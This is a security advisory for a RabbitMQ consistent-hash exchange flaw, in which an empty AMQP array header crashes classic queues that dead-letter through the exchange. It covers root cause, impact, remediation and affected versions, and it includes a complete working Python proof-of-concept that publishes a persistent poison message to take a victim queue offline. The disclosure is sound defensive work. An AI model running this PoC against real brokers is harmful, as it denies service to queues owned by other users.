Описание
RabbitMQ consistent-hash exchange: empty array crashes DLX queue processes
Summary
An x-consistent-hash exchange configured with hash-header accepts an AMQP
field-array as the selected hash value. RabbitMQ preserves an empty AMQP array
as the Erlang empty list [].
When the exchange has at least two buckets, its routing function treats lists
by hashing their first element and calls hd([]), raising badarg.
A direct publish closes the publisher's channel. More importantly, if a classic queue dead-letters an attacker-controlled message through the exchange, the routing exception occurs inside the victim queue process. A persistent poison message is retried when the queue restarts, repeatedly crashing the queue until its supervisor exhausts restart attempts. The attacker publication is confirmed and the attacker's channel survives because the exception occurs later in the victim's DLX path.
Preconditions
rabbitmq_consistent_hash_exchangeis enabled.- An
x-consistent-hashexchange useshash-header = h. - At least two queues or bucket weights are bound to that exchange.
- A classic queue is configured to dead-letter to the hash exchange.
- The attacker can publish to an upstream exchange that routes into the classic queue.
The attacker does not need configure or read permission when the topology already exists. The attached PoC uses one account to create the disposable test topology for convenience.
Root cause
1. Empty AMQP arrays remain empty lists
The AMQP parser and message-container conversion preserve an empty field-array
header as [].
2. Multi-bucket list hashing assumes at least one element
%% deps/rabbitmq_consistent_hash_exchange/src/
%% rabbit_exchange_type_consistent_hash.erl:227-235
jump_consistent_hash(_Key, 1) ->
0;
jump_consistent_hash(KeyList, NumberOfBuckets) when is_list(KeyList) ->
jump_consistent_hash(hd(KeyList), NumberOfBuckets);
The one-bucket clause avoids the fault, but two or more buckets reach hd([]).
3. DLX routing is not isolated from the queue process
Classic queue dead lettering calls exchange routing inline. The badarg
therefore terminates rabbit_amqqueue_process before the poison message is
successfully dead-lettered and acknowledged.
Basic Python proof of concept
Requirements:
-
Python 3 with
pika:python3 -m pip install pika -
An already-running RabbitMQ server.
-
rabbitmq_consistent_hash_exchangeenabled:rabbitmq-plugins enable rabbitmq_consistent_hash_exchange -
A disposable vhost account with configure/read/write permission, because the script creates and removes its test topology.
Run:
python3 consistent-hash-empty-array-dlx-crash-poc.py \
--host rabbitmq.example --port 5672 --vhost / \
--user poc --password pocpass
The PoC:
- Declares a header-hashing consistent-hash exchange with two bucket queues.
- Declares a durable classic victim queue with a short TTL and that exchange as its DLX.
- Publishes a control message with an ordinary string header and verifies that exactly one hash target receives it.
- Publishes a persistent message with
headers={"h": []}. Pika encodes the empty Python list as an AMQP empty field-array. - Verifies that the attacker publication was confirmed and its channel survived.
- Verifies that the victim queue becomes unavailable while a fresh connection and unrelated queue operation still succeed.
Expected output:
{
"control_publish_confirmed": true,
"control_messages_routed_to_hash_targets": 1,
"poison_publish_confirmed": true,
"attacker_channel_alive_after_publish": true,
"victim_queue_unavailable": true,
"victim_queue_error": "404 NOT_FOUND - failed to perform operation on queue ... due to timeout",
"broker_accepts_fresh_connection": true
}
VULNERABLE
The passive victim-queue check can take approximately one minute because the broker waits for the repeatedly crashing queue process before returning the timeout.
Impact
- One authenticated publisher can make a separately owned classic queue unavailable when it shares the vulnerable DLX topology.
- A persistent poison message survives the initial queue-process crash and is retried during restart.
- Queue clients receive operation timeouts or internal errors.
- The RabbitMQ node and unrelated queues remain available.
- Quorum queues do not exhibit the same persistent restart behavior in the validated tracker evidence.
Recommended remediation
- Reject empty array values for
hash-header, or define a deterministic hash for an empty array. - Validate supported hash-header types before routing.
- Contain exchange-routing exceptions at the DLX boundary so one message cannot terminate a queue process.
- Move malformed poison messages to a safe discard/quarantine path after a bounded number of DLX failures.
- Add direct-routing and classic-DLX regressions with empty field arrays and at least two buckets.
#!/usr/bin/env python3
"""RabbitMQ x-consistent-hash empty-array DLX queue-crash PoC."""
from __future__ import annotations
import argparse
import json
import time
import pika
from pika.exceptions import ChannelClosedByBroker, ConnectionClosedByBroker
HASH_EXCHANGE = "poc.empty-array.hash"
UPSTREAM_EXCHANGE = "poc.empty-array.upstream"
VICTIM_QUEUE = "poc.empty-array.victim"
TARGET_QUEUES = ["poc.empty-array.target.1", "poc.empty-array.target.2"]
def connect(args: argparse.Namespace) -> pika.BlockingConnection:
return pika.BlockingConnection(
pika.ConnectionParameters(
host=args.host,
port=args.port,
virtual_host=args.vhost,
credentials=pika.PlainCredentials(args.user, args.password),
heartbeat=60,
blocked_connection_timeout=30,
)
)
def cleanup(channel: pika.channel.Channel) -> None:
for queue in [VICTIM_QUEUE, *TARGET_QUEUES]:
try:
channel.queue_delete(queue=queue)
except ChannelClosedByBroker:
return
for exchange in [UPSTREAM_EXCHANGE, HASH_EXCHANGE]:
try:
channel.exchange_delete(exchange=exchange)
except ChannelClosedByBroker:
return
def setup(channel: pika.channel.Channel, ttl_ms: int) -> None:
channel.exchange_declare(
exchange=HASH_EXCHANGE,
exchange_type="x-consistent-hash",
durable=True,
arguments={"hash-header": "h"},
)
for queue in TARGET_QUEUES:
channel.queue_declare(queue=queue, durable=True)
channel.queue_bind(exchange=HASH_EXCHANGE, queue=queue, routing_key="1")
channel.exchange_declare(
exchange=UPSTREAM_EXCHANGE,
exchange_type="direct",
durable=True,
)
channel.queue_declare(
queue=VICTIM_QUEUE,
durable=True,
arguments={
"x-message-ttl": ttl_ms,
"x-dead-letter-exchange": HASH_EXCHANGE,
},
)
channel.queue_bind(
exchange=UPSTREAM_EXCHANGE,
queue=VICTIM_QUEUE,
routing_key="route",
)
def target_ready_count(channel: pika.channel.Channel) -> int:
return sum(
channel.queue_declare(queue=queue, passive=True).method.message_count
for queue in TARGET_QUEUES
)
def victim_unavailable(args: argparse.Namespace, timeout: float) -> tuple[bool, str]:
deadline = time.time() + timeout
last = ""
while time.time() < deadline:
connection = connect(args)
channel = connection.channel()
try:
channel.queue_declare(queue=VICTIM_QUEUE, passive=True)
last = "passive declare succeeded"
connection.close()
except (ChannelClosedByBroker, ConnectionClosedByBroker) as exc:
last = f"{exc.reply_code} {exc.reply_text}"
try:
connection.close()
except Exception:
pass
if exc.reply_code in (404, 405, 406, 541):
return True, last
time.sleep(0.25)
return False, last
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=5672)
parser.add_argument("--vhost", default="/")
parser.add_argument("--user", required=True)
parser.add_argument("--password", required=True)
parser.add_argument("--ttl-ms", type=int, default=500)
parser.add_argument("--wait-seconds", type=float, default=10)
args = parser.parse_args()
connection = connect(args)
channel = connection.channel()
cleanup(channel)
if channel.is_closed:
connection.close()
connection = connect(args)
channel = connection.channel()
setup(channel, args.ttl_ms)
channel.confirm_delivery()
control_publish_result = channel.basic_publish(
exchange=UPSTREAM_EXCHANGE,
routing_key="route",
body=b"control",
properties=pika.BasicProperties(
headers={"h": "ordinary-value"},
delivery_mode=2,
),
)
time.sleep(args.ttl_ms / 1000 + 1)
control_deliveries = target_ready_count(channel)
for queue in TARGET_QUEUES:
channel.queue_purge(queue=queue)
# Pika encodes [] as an AMQP field-array with zero elements.
poison_publish_result = channel.basic_publish(
exchange=UPSTREAM_EXCHANGE,
routing_key="route",
body=b"persistent poison",
properties=pika.BasicProperties(headers={"h": []}, delivery_mode=2),
)
control_confirmed = control_publish_result is not False
poison_confirmed = poison_publish_result is not False
attacker_channel_alive = channel.is_open
unavailable, unavailable_reason = victim_unavailable(
args, args.wait_seconds
)
health_connection = connect(args)
health_channel = health_connection.channel()
health_channel.queue_declare(
queue="poc.empty-array.health",
durable=False,
exclusive=True,
auto_delete=True,
)
broker_alive = health_connection.is_open
health_connection.close()
result = {
"control_publish_confirmed": control_confirmed,
"control_messages_routed_to_hash_targets": control_deliveries,
"poison_publish_confirmed": poison_confirmed,
"attacker_channel_alive_after_publish": attacker_channel_alive,
"victim_queue_unavailable": unavailable,
"victim_queue_error": unavailable_reason,
"broker_accepts_fresh_connection": broker_alive,
}
print(json.dumps(result, indent=2))
vulnerable = (
control_confirmed
and control_deliveries == 1
and poison_confirmed
and attacker_channel_alive
and unavailable
and broker_alive
)
print("VULNERABLE" if vulnerable else "NOT_REPRODUCED")
return 0 if vulnerable else 1
if __name__ == "__main__":
raise SystemExit(main())
Пакеты
Наименование
rabbitmq
vmware
Затронутые версииВерсия исправления
>= 4.2.0, < 4.2.10
4.2.10
Наименование
rabbitmq
vmware
Затронутые версииВерсия исправления
>= 4.3.0, < 4.3.5
4.3.5
2.3 Low
CVSS4
2.3 Low
CVSS4